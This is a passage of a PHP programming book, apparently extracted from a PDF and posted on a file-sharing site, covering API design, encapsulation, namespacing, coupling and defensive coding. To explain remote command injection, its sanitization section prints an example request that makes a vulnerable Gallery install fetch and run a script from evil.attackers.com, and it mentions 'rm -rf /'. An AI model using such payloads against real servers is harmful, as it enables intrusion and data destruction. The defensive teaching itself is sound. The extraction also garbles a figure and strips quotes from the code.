Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Advanced PHP Programming

.pdf
Скачиваний:
72
Добавлен:
14.04.2015
Размер:
8 Мб
Скачать

208 Chapter 8 Designing a Good API

Bottom-up design is tempting for a number of reasons:

nIt can be difficult to wrap yourself around an entire abstract project.

nBecause you start writing code immediately, you have quick and immediate deliverables.

nIt is easier to handle design changes because low-level components are less likely to be affected by application design alterations.

The drawback of bottom-up design is that as low-level components are integrated, their outward APIs often undergo rapid and drastic change. This means that although you get a quick start early on in the project, the end stages are cluttered with redesign.

In top-down design, the application as a whole is first broken down into subsystems, then those subsystems are broken down into components, and only when the entire system is designed are functions and classes implemented.

These are the benefits of top-down design:

nYou get solid API design early on.

nYou are assured that all the components will fit together. This often makes for less reengineering than needed in the bottom-up model.

Design for Refactoring and Extensibility

It is counterintuitive to many programmers that it is better to have poorly implemented code with a solid API design than to have well-implemented code with poor API design. It is a fact that your code will live on, be reused in other projects, and take on a life of its own. If your API design is good, then the code itself can always be refactored to improve its performance. In contrast, if the API design library is poor, any changes you make require cascading changes to all the code that uses it.

Writing code that is easy to refactor is central to having reusable and maintainable code. So how do you design code to be easily refactored? These are some of the keys:

nEncapsulate logic in functions.

nKeep classes and functions simple, using them as building blocks to create a cohesive whole.

nUse namespacing techniques to compartmentalize your code.

nReduce interdependencies in your code.

Encapsulating Logic in Functions

A key way to increase code reusability and manageability is to compartmentalize logic in functions.To illustrate why this is necessary, consider the following story.

Design for Refactoring and Extensibility

209

A storefront operation located in Maryland decides to start offering products online. Residents of Maryland have to pay state tax on items they purchase from the store (because they have a sales nexus there), so the code is peppered with code blocks like this:

$tax = ($user->state == MD) ? 0.05*$price : 0;

This is a one-liner—hardly even more characters than passing all the data into a helper function.

Although originally tax is only calculated on the order page, over time it creeps into advertisements and specials pages, as a truth-in-advertising effort.

I’m sure you can see the writing on the wall. One of two things is bound to happen:

nMaryland legislates a new tax rate.

nThe store decides to open a Pennsylvania branch and has to start charging sales tax to Pennsylvania residents as well.

When either of these things happens, the developer is forced into a mad rush to find all the places in the code where tax is calculated and change them to reflect the new rules. Missing a single location can have serious (even legal) repercussions.

This could all be avoided by encapsulating the tiny bit of tax logic into a function. Here is a simple example:

function Commerce_calculateStateTax($state, $price)

{

switch($state) { case MD:

return 0.05 * $price; break;

case PA:

return 0.06 * $price; break;

default: return 0;

}

However, this solution is rather short-sighted as well: It assumes that tax is only based on the user’s state location. In reality there are additional factors (such as tax-exempt status). A better solution is to create a function that takes an entire user record as its input, so that if special status needs to be realized, an API redesign won’t be required. Here is a more general function that calculates taxes on a user’s purchase:

function Commerce_caclulateTax(User $user, $price)

{

return Commerce_calculateTax($user->state, $price);

}

210 Chapter 8 Designing a Good API

Functions and Performance in PHP

As you read this book, or if you read performance tuning guides on the Web, you will read that calling functions in PHP is “slow.” This means that there is overhead in calling functions. It is not a large overhead, but if you are trying to serve hundreds or thousands of pages per second, you can notice this effect, particularly when the function is called in a looping construct.

Does this mean that functions should be avoided? Absolutely not! Donald Knuth, one of the patriarchs of computer science, said “Premature optimization is the root of all evil.” Optimizations and tunings often incur a maintainability cost. You should not force yourself to swallow this cost unless the trade-off is really worth it. Write your code to be as maintainable as possible. Encapsulate your logic in classes and functions. Make sure it is easily refactorable. When your project is working, analyze the efficiency of your code (using techniques described in Part IV, “Performance”), and refactor the parts that are unacceptably expensive.

Avoiding organizational techniques at an early stage guarantees that code is fast but is not extensible or maintainable.

Keeping Classes and Functions Simple

In general, an individual function or method should perform a single simple task. Simple functions are then used by other functions, which is how complex tasks are completed. This methodology is preferred over writing monolithic functions because it promotes reuse.

In the tax-calculation code example, notice how I split the routine into two functions: Commerce_calculateTax() and the helper function it called, Commerce_calculateStateTax(). Keeping the routine split out as such means that Commerce_calculateStateTax() can be used to calculate state taxes in any context. If its logic were inlined into Commmerce_calculateTax(),the code would have to be duplicated if you wanted to use it outside the context of calculating tax for a user purchase.

Namespacing

Namespacing is absolutely critical in any large code base. Unlike many other scripting languages (for example, Perl, Python, Ruby), PHP does not possess real namespaces or a formal packaging system.The absence of these built-in tools makes it all the more critical that you as a developer establish consistent namespacing conventions. Consider the following snippet of awful code:

$number = $_GET[number]; $valid = validate($number); if($valid) {

//....

}

$cc_number

Design for Refactoring and Extensibility

211

Looking at this code, it’s impossible to guess what it might do. By looking into the loop (commented out here), some contextual clues could probably be gleaned, but the code still has a couple problems:

nYou don’t know where these functions are defined. If they aren’t in this page (and you should almost never put function definitions in a page, as it means they are

not reusable), how do you know what library they are defined in?

nThe variable names are horrible. $number gives no contextual clues as to the purpose of the variable, and $valid is not much better.

Here is the same code with an improved naming scheme:

$cc_number = $_GET[cc_number];

$cc_is_valid = CreditCard_IsValidCCNumber($cc_number);

if($cc_is_valid) {

// …

}

This code is much better than the earlier code. indicates that the number is a credit card number, and the function name CreditCard_IsValidCCNumber() tells you where the function is (CreditCard.inc, in my naming scheme) and what it does (determines whether the credit card number is valid).

Using namespacing provides the following benefits:

nIt encourages descriptive naming of functions.

nIt provides a way to find the physical location of a function based on its name.

nIt helps avoid naming conflicts.You can authenticate many things: site members, administrative users, and credit cards, for instance. Member_Authenticate(),

Admin_User_Authenticate(), and CreditCard_Authenticate() make it clear what you mean.

Although PHP does not provide a formal namespacing language construct, you can use classes to emulate namespaces, as in the following example:

class CreditCard {

static public function IsValidCCNumber()

{

// ...

}

static public function Authenticate()

{

// ...

}

}

Whether you choose a pure function approach or a namespace-emulating class approach, you should always have a well-defined mapping of namespace names to file

212 Chapter 8 Designing a Good API

locations. My preference is to append .inc.This creates a natural filesystem hierarchy, like this:

API_ROOT/

CreditCard.inc DB.inc

DB/

Mysql.inc

Oracle.inc

...

In this representation, the DB_Mysql classes are in API_ROOT/DB/Mysql.inc.

Deep include Trees

A serious conflict between writing modular code and writing fast code in PHP is the handling of include files. PHP is a fully runtime language, meaning that both compilation and execution of scripts happen at compile time. If you include 50 files in a script (whether directly or through nested inclusion), those are 50 files that will need to be opened, read, parsed, compiled, and executed on every request. That can be quite an overhead. Even if you use a compiler cache (see Chapter 9, “External Performance Tunings”), the file must still be accessed on every request to ensure that it has not been changed since the cached copy was stored. In an environment where you are serving tens or hundreds of pages per second, this can be a serious problem.

There are a range of opinions regarding how many files are reasonable to include on a given page. Some people have suggested that three is the right number (although no explanation of the logic behind that has ever been produced); others suggest inlining all the includes before moving from development to production. I think both these views are misguided. While having hundreds of includes per page is ridiculous, being able to separate code into files is an important management tool. Code is pretty useless unless it is manageable, and very rarely are the costs of includes a serious bottleneck.

You should write your code first to be maintainable and reusable. If this means 10 or 20 included files per page, then so be it. When you need to make the code faster, profile it, using the techniques in Chapter 18, “Profiling.” Only when profiling shows you that a significant bottleneck exists in the use of include() and require() should you purposefully trim your include tree.

Reducing Coupling

Coupling occurs when one function, class, or code entity depends on another to function correctly. Coupling is bad because it creates a Web of dependencies between what should be disparate pieces of code.

Consider Figure 8.1, which shows a partial function call graph for the Serendipity Web log system. (The full call graph is too complicated to display here.) Notice in particular the nodes which have a large number of edges coming into them.These functions are considered highly coupled and by necessity are almost impossible to alter; any change to that function’s API or behavior could potentially require changes in every caller.

FLY TEAM

work

work_computer_into

work_computer_into

work_computer_into

work_computer_into

work_computer_into

work_computer_into

work_computer_into

work_computer_into

work_computer_into

work_computer_into

work

work_computer_into

work

Defensive Coding

213

work_computer_into

work_computer_into

work_computer_into

work_computer_into

work_computer_into

work_computer_into

work_computer_into

work

work_computer_into

work

work

work_computer_into

work

work_computer_into

work_computer_into

work

work_computer_into

work

work_computer_into

work_computer_into work_computer_into work_computer_into work_computer_into work_computer_into work_computer_into work_computer_into

Figure 8.1 A partial call graph for the Serendipity Web log system.

This is not necessarily a bad thing. In any system, there must be base functions and classes that are stable elements on which the rest of the system is built.You need to be conscious of the causality: Stable code is not necessarily highly coupled, but highly coupled code must be stable. If you have classes that you know will be core or foundation classes (for example, database abstraction layers or classes that describe core functionality), make sure you invest time in getting their APIs right early, before you have so much code referencing them that a redesign is impossible.

Defensive Coding

Defensive coding is the practice of eliminating assumptions in the code, especially when it comes to handling information in and out of other routines.

In lower-level languages such as C and C++, defensive coding is a different activity. In C, variable type enforcement is handled by the compiler; a user’s code must handle cleaning up resources and avoiding buffer overflows. PHP is a high-level language; resource, memory, and buffer management are all managed internally by PHP. PHP is also dynamically typed, which means that you, the developer, are responsible for performing any type checking that is necessary (unless you are using objects, in which case you can use type hints).

There are two keys to effective defensive coding in PHP:

nEstablishing coding standards to prevent accidental syntax bugs

nUsing sanitization techniques to avoid malicious data

214 Chapter 8 Designing a Good API

Establishing Standard Conventions

Defensive coding is not all about attacks. Most bugs occur because of carelessness and false assumptions.The easiest way to make sure other developers use your code correctly is to make sure that all your code follows standards for argument order and return values. Some people argue that comprehensive documentation means that argument ordering doesn’t matter. I disagree. Having to reference the manual or your own documentation every time you use a function makes development slow and error prone.

A prime example of inconsistent argument naming is the MySQL and PostgreSQL PHP client APIs. Here are the prototypes of the query functions from each library:

resource mysql_query ( string query [, resource connection])

resource pg_query ( resource connection, string query)

Although this difference is clearly documented, it is nonetheless confusing.

Return values should be similarly well defined and consistent. For Boolean functions, this is simple: Return true on success and false on failure. If you use exceptions for error handling, they should exist in a well-defined hierarchy, as described in Chapter 3.

Using Sanitization Techniques

In late 2002 a widely publicized exploit was found in Gallery, photo album software written in PHP. Gallery used the configuration variable $GALLERY_BASEDIR, which was intended to allow users to change the default base directory for the software.The default behavior left the variable unset. Inside, the code include() statements all looked like this:

<? require($GALLERY_BASEDIR . init.php); ?>

The result was that if the server was running with register_globals on (which was the default behavior in earlier versions of PHP), an attacker could make a request like this:

http://gallery.example.com/view_photo.php?\

GALLERY_BASEDIR=http://evil.attackers.com/evilscript.php%3F

This would cause the require to actually evaluate as the following:

<? require(http://evil.attackers.com/evilscript.php ?init.php); ?>

This would then download and execute the specified code from evil.attackers.com. Not good at all. Because PHP is an extremely versatile language, this meant that attackers could execute any local system commands they desired. Examples of attacks included installing backdoors, executing `rm -rf /`;, downloading the password file, and generally performing any imaginable malicious act.

This sort of attack is known as remote command injection because it tricks the remote server into executing code it should not execute. It illustrates a number of security precautions that you should take in every application:

Defensive Coding

215

nAlways turn off register_globals. register_globals is present only for backward compatibility. It is a tremendous security problem.

nUnless you really need it, set allow_url_fopen = Off in your php.ini file.The Gallery exploit worked because all the PHP file functions (fopen(), include(), require(), and so on) can take arbitrary URLs instead of simple file paths.

Although this feature is neat, it also causes problems.The Gallery developers clearly never intended for remote files to be specified for $GALLERY_BASEDIR, and they did not code with that possibility in mind. In his talk “One Year of PHP at Yahoo!” Michael Radwin suggested avoiding URL fopen() calls completely and instead using the curl extension that comes with PHP.This ensures that when you open a remote resource, you intended to open a remote resource.

nAlways validate your data. Although $GALLERY_BASEDIR was never meant to be set from the command line, even if it had been, you should validate that what you have looks reasonable. Are file systems paths correct? Are you attempting to reference files outside the tree where you should be? PHP provides a partial solution to this problem with its open_basedir php.ini option. Setting open_basedir prevents from being accessed any file that lies outside the specified directory. Unfortunately, open_basedir incurs some performance issues and creates a number of hurdles that developers must overcome to write compatible code. In practice, it is most useful in hosted serving environments to ensure that users do not violate each other’s privacy and security.

Data sanitization is an important part of security. If you know your data should not have HTML in it, you can remove HTML with strip_tags, as shown here:

// username should not contain HTML $username = strip_tags($_COOKIE[username]);

Allowing HTML in user-submitted input is an invitation to cross-site scripting attacks. Cross-site scripting attacks are discussed further in Chapter 3,“Error Handling”.

Similarly, if a filename is passed in, you can manually verify that it does not backtrack out of the current directory:

$filename = $_GET[filename];

if(substr($filename, 0, 1) == /|| strstr($filename, ..)) {

// file is bad

}

Here’s an alternative:

$file_name = realpath($_GET[filename]); $good_path = realpath(./);

if(!strncmp($file_name, $good_path, strlen($good_path))) {

// file is bad

}

216 Chapter 8 Designing a Good API

The latter check is stricter but also more expensive.

Another data sanitization step you should always perform is running mysql_escape_string() (or the function appropriate to your RDBMS) on all data passed into any SQL query. Much as there are remote command injection attacks, there are SQL injection attacks. Using an abstraction layer such as the DB classes developed in Chapter 2,“Object-Oriented Programming Through Design Patterns,” can help automate this.

Chapter 23,“Writing SAPIs and Extending the Zend Engine,” details how to write input filters in C to automatically run sanitization code on the input to every request.

Data validation is a close cousin of data sanitation. People may not use your functions in the way you intend. Failing to validate your inputs not only leaves you open to security holes but can lead to an application functioning incorrectly and to having trash data in a database. Data validation is covered in Chapter 3.

Further Reading

Steve McConnell’s Code Complete is an excellent primer on practical software development. No developer’s library is complete without a copy. (Don’t mind the Microsoft Press label; this book has nothing specific to do with Windows coding.)

David Thomas and Andrew Hunt ‘s The Pragmatic Programmer: From Journeyman to Master is another amazing book that no developer should be without.

II

Caching

9External Performance Tunings

10Data Component Caching

11Computational Reuse

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]